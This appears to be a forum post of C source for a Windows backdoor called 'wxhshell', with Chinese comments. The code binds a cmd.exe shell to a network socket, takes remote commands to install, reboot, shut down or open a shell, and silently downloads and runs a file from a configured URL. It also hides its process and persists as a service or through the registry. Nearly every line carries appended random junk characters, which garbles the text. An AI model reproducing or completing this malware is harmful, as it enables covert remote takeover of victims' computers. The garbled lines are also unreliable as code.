  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wqxChTbs  
  else 0oK_uY 4g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dNu?O>=  
  } L"KKW c  
  else { knfEbH  
MJ"@  
    switch(cmd[0]) { +D+v j|fn  
  *82+GY]  
  // 帮助 >:Y"DX-  
  case '?': { Q~R%|Q{&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tm1#Lh0  
    break; vh"wXu  
  } 0Q7|2{  
  // 安装 ?K\r-J!Y  
  case 'i': { ZH)Jq^^RI  
    if(Install()) ^HhV ?Iqg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n\ 'PNB  
    else bL`># M_^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rp+Lu  
    break; bvW3[ V  
    } ,(i`gH{D  
  // 卸载 q2 b>Z6!5  
  case 'r': { 8vkCmV  
    if(Uninstall()) >,x&L[3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'yo-`nNFD  
    else $^e(?P q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4A`U [r_>D  
    break; lY&Sx{-  
    } Spu> ac  
  // 显示 wxhshell 所在路径 s6F0&L;N&  
  case 'p': { M3U?\g  
    char svExeFile[MAX_PATH]; `]`S"W7&  
    strcpy(svExeFile,"\n\r"); hG~HV{6  
      strcat(svExeFile,ExeFile); >*MGF=.QG  
        send(wsh,svExeFile,strlen(svExeFile),0); HV&i! M@T  
    break; U5 ia|V  
    } XuoyB{U  
  // 重启 ;V?3Hwl  
  case 'b': { mEmgr(W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Cxd^i  
    if(Boot(REBOOT)) h ,\5C/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MQe|\SMd  
    else { .sjv"D"  
    closesocket(wsh); tmd{G x}c  
    ExitThread(0); C{:U<q  
    } q`VkA \  
    break; j[,XJ,5=  
    } I5*<J n  
  // 关机 m\oxS;fxWi  
  case 'd': { ;m=k FZ?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e45)t}'  
    if(Boot(SHUTDOWN)) &^`[$LtYd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); shD4";8*@  
    else { : q>)c]  
    closesocket(wsh); !K-qoBqKM  
    ExitThread(0); i#NtiZ.t=  
    } bE,#,  
    break; :N !s@6  
    } .,sbqL  
  // 获取shell O5MV&Zb(  
  case 's': { cQ;@z2\  
    CmdShell(wsh); #qu;{I#W3  
    closesocket(wsh); ]SAGh|+xl  
    ExitThread(0); $O&N  
    break; 9?q ^yy  
  } nA(5p?D+YB  
  // 退出 Y <`X$  
  case 'x': { ~g9~D}48k'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4k9$' k  
    CloseIt(wsh); p"7]zq]'  
    break; O=vD6@QI  
    } 6i;q=N$'  
  // 离开 Zt& 7p  
  case 'q': { LSR0yCU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |{ =Jp<} s  
    closesocket(wsh); I s|_  
    WSACleanup(); ~z^49Ys:  
    exit(1); Scug wSB  
    break; 3&I3ViAH  
        } 8`s*+.LI!  
  } _%3p&1ld  
  } XqU0AbQ  
FJq g,  
  // 提示信息 g*Pn_Yo[.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EL%Pv1  
} j<QK1d17  
  } t%%zuqF`  
 f,kV  
  return; >7)QdaB  
} D^xg2D  
P1z:L  
// shell模块句柄 }~Do0XUH  
int CmdShell(SOCKET sock) \?wKs  
{ g##<d(e!}  
STARTUPINFO si; nXk9 IG(  
ZeroMemory(&si,sizeof(si)); DxD\o+:r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lD'^6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mE;^B%v  
PROCESS_INFORMATION ProcessInfo; !u:Fn)j  
char cmdline[]="cmd"; 7yJE+o'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l*(L"]  
  return 0; RD0*]4>]  
} KMG}VG   
0}YadNb7  
// 自身启动模式 +U<.MVOo.  
int StartFromService(void) belBdxa{"  
{ LN) yQ-  
typedef struct ~c5 5LlO>  
{ ~Y{]yBGoF  
  DWORD ExitStatus; Lr20xm  
  DWORD PebBaseAddress; 8QMMKO ui\  
  DWORD AffinityMask; <Qr*!-Kc6  
  DWORD BasePriority; elR1NhB|p  
  ULONG UniqueProcessId; -]-0]*oAp  
  ULONG InheritedFromUniqueProcessId; &> _aY #  
}   PROCESS_BASIC_INFORMATION;  ^Y!$WP  
1;?w#/&t  
PROCNTQSIP NtQueryInformationProcess; 4`'Rm/)  
dKP| TRd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4uH} SG[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RameaFX8  
xnJ#}-.7  
  HANDLE             hProcess; z:N?T0b(  
  PROCESS_BASIC_INFORMATION pbi; BpGyjo J2  
p.<d+S<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V3T.EW  
  if(NULL == hInst ) return 0; `9k\~D=D~  
3''Uxlo\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A/&u /?*C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \acGSW .c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ny!80I  
,-kz \N@.  
  if (!NtQueryInformationProcess) return 0; M04u>| ,  
IF@vl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S;/pm$?/  
  if(!hProcess) return 0; c,]fw2  
yRD tPK"E-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O'(D:D?  
s'd\"WaQV  
  CloseHandle(hProcess); D+N@l"U{  
_RS CyV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f =A#:d  
if(hProcess==NULL) return 0; \ [M4[Qlq  
"rc QS H  
HMODULE hMod; [w-# !X2y  
char procName[255]; ?!$Dr0r  
unsigned long cbNeeded; 0'Qvis[kt  
dtj b(*x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KNN$+[_;H4  
hD7vjg& Z  
  CloseHandle(hProcess); !HtW~8|:  
"Er8RUJA  
if(strstr(procName,"services")) return 1; // 以服务启动 "HwlN_PA  
=EH/~NGk  
  return 0; // 注册表启动 a[,p1}!_  
} i7rk%q  
n<@C'\j@  
// 主模块 #Uep|A  
int StartWxhshell(LPSTR lpCmdLine) xX0 wn?,~  
{ {iCX?Sb  
  SOCKET wsl; sk_xQo#Y 3  
BOOL val=TRUE; Qs?p)3qp  
  int port=0; &os:h] C  
  struct sockaddr_in door; 5|`./+Ghk  
.]a`-Ofn  
  if(wscfg.ws_autoins) Install(); "\]]?&  
bYX.4(R  
port=atoi(lpCmdLine); uJ fXe  
t0?t Xe.B  
if(port<=0) port=wscfg.ws_port; meXwmO  
e2>AL  
  WSADATA data; '#oH1$W]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \/nSRAk  
?5^DQ|Hg ^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9l|*E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3<[q>7X  
  door.sin_family = AF_INET; DMSC(Sz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5`lVC$cP  
  door.sin_port = htons(port); :~ &#9  
r gi4>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b`Jsu!?{  
closesocket(wsl); *o!#5c  
return 1; 1=z\,~ b  
} MX+gc$Y O  
DK'S4%;Sp  
  if(listen(wsl,2) == INVALID_SOCKET) { !CY*SGO  
closesocket(wsl); 8o).q}>&  
return 1; y@AUSh;  
} v`Ja Bn  
  Wxhshell(wsl); )(c%QWz  
  WSACleanup(); Df]*S  
#BgiDLh  
return 0; 92N`Q}  
hM=X# ;  
} }^b  
sheCwhV  
// 以NT服务方式启动 7xO~v23oe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RX^Xtc"  
{ 3a}c'$F>_'  
DWORD   status = 0; T&:~=  
  DWORD   specificError = 0xfffffff; q]s_hWWv  
m& D#5C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +Z=y/wY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f|3LeOyz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~0}d=d5g  
  serviceStatus.dwWin32ExitCode     = 0; ^7t1'A8e<  
  serviceStatus.dwServiceSpecificExitCode = 0; */|<5X;xIA  
  serviceStatus.dwCheckPoint       = 0; YOA)paq+  
  serviceStatus.dwWaitHint       = 0; ?V(+Cc  
6!;D],,"#.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k\g:uIsv$  
  if (hServiceStatusHandle==0) return; vWL| vR  
ZG~d<kM&8s  
status = GetLastError(); 9ESV[  
  if (status!=NO_ERROR) .&8a ;Q?c  
{ $ERiBALN:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |8)\8b|VuC  
    serviceStatus.dwCheckPoint       = 0; IP)%y%ycw  
    serviceStatus.dwWaitHint       = 0; I%B\Wy/j^  
    serviceStatus.dwWin32ExitCode     = status; UA*Kuad  
    serviceStatus.dwServiceSpecificExitCode = specificError; ep*8*GmP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FMWM:  
    return; Fr(;C>  
  } f9)0OHa  
a(G}<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C9,Uwz<!]  
  serviceStatus.dwCheckPoint       = 0; oR3t vw.  
  serviceStatus.dwWaitHint       = 0; O]j<$GG!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d b *J  
} ocZ^rqo2w  
[N<rPHT  
// 处理NT服务事件,比如:启动、停止 +c__U Qx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L@ejFXQg  
{ 2lqy<o  
switch(fdwControl) ),^pi?  
{ b&AeIU}&  
case SERVICE_CONTROL_STOP: vkeZ!klYB  
  serviceStatus.dwWin32ExitCode = 0; K}'?#a(aX=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +Y$EZL.A  
  serviceStatus.dwCheckPoint   = 0; IA`Lp3Z  
  serviceStatus.dwWaitHint     = 0; _c}# f\ +_  
  { E@AV?@<sc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J=HN~B1  
  } 0F 2p4!@W  
  return; NYzBfL x  
case SERVICE_CONTROL_PAUSE: VSh&Y_%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Nu'ox. V  
  break; \eRct_  
case SERVICE_CONTROL_CONTINUE: Nx E=^ v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QUh`kt(E  
  break; .8;0O M  
case SERVICE_CONTROL_INTERROGATE: s%RG_"l  
  break; OGG9f??  
}; +*aC \4w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e{ *yV#Wl  
} ;<nJBZB9u  
Tk `|{Ph0  
// 标准应用程序主函数 vcaPd}nf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `}rk1rl6  
{ K6|R ;r5e{  
%joU}G;"  
// 获取操作系统版本 JU)k+:\a  
OsIsNt=GetOsVer(); z*9 ke  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rd)W+W9  
u1\r:q  
  // 从命令行安装 *M$'dLn  
  if(strpbrk(lpCmdLine,"iI")) Install(); wxT( ktE  
QV4FA&f&  
  // 下载执行文件 4=N(@mS  
if(wscfg.ws_downexe) { Yb1Q6[!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a|4Q6Ycu  
  WinExec(wscfg.ws_filenam,SW_HIDE); su3Wk,MLP  
} xJA{Hws  
oArJ%Y>  
if(!OsIsNt) { `; j$]  
// 如果时win9x,隐藏进程并且设置为注册表启动 o/oLL w  
HideProc(); % iZM9Q&NC  
StartWxhshell(lpCmdLine); : LT'#Q8  
} 2IUd?i3~l  
else ;mPX8bT  
  if(StartFromService()) tg\o"QKW9  
  // 以服务方式启动 P]armg%  
  StartServiceCtrlDispatcher(DispatchTable); b[:{\ !I  
else _KkP{g,Y  
  // 普通方式启动 xV=Tmu6l  
  StartWxhshell(lpCmdLine); usC$NVdm  
'}"&JO~vPj  
return 0; S0}=uL#dt  
}
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只看该作者 1 发表于: 2006-10-10
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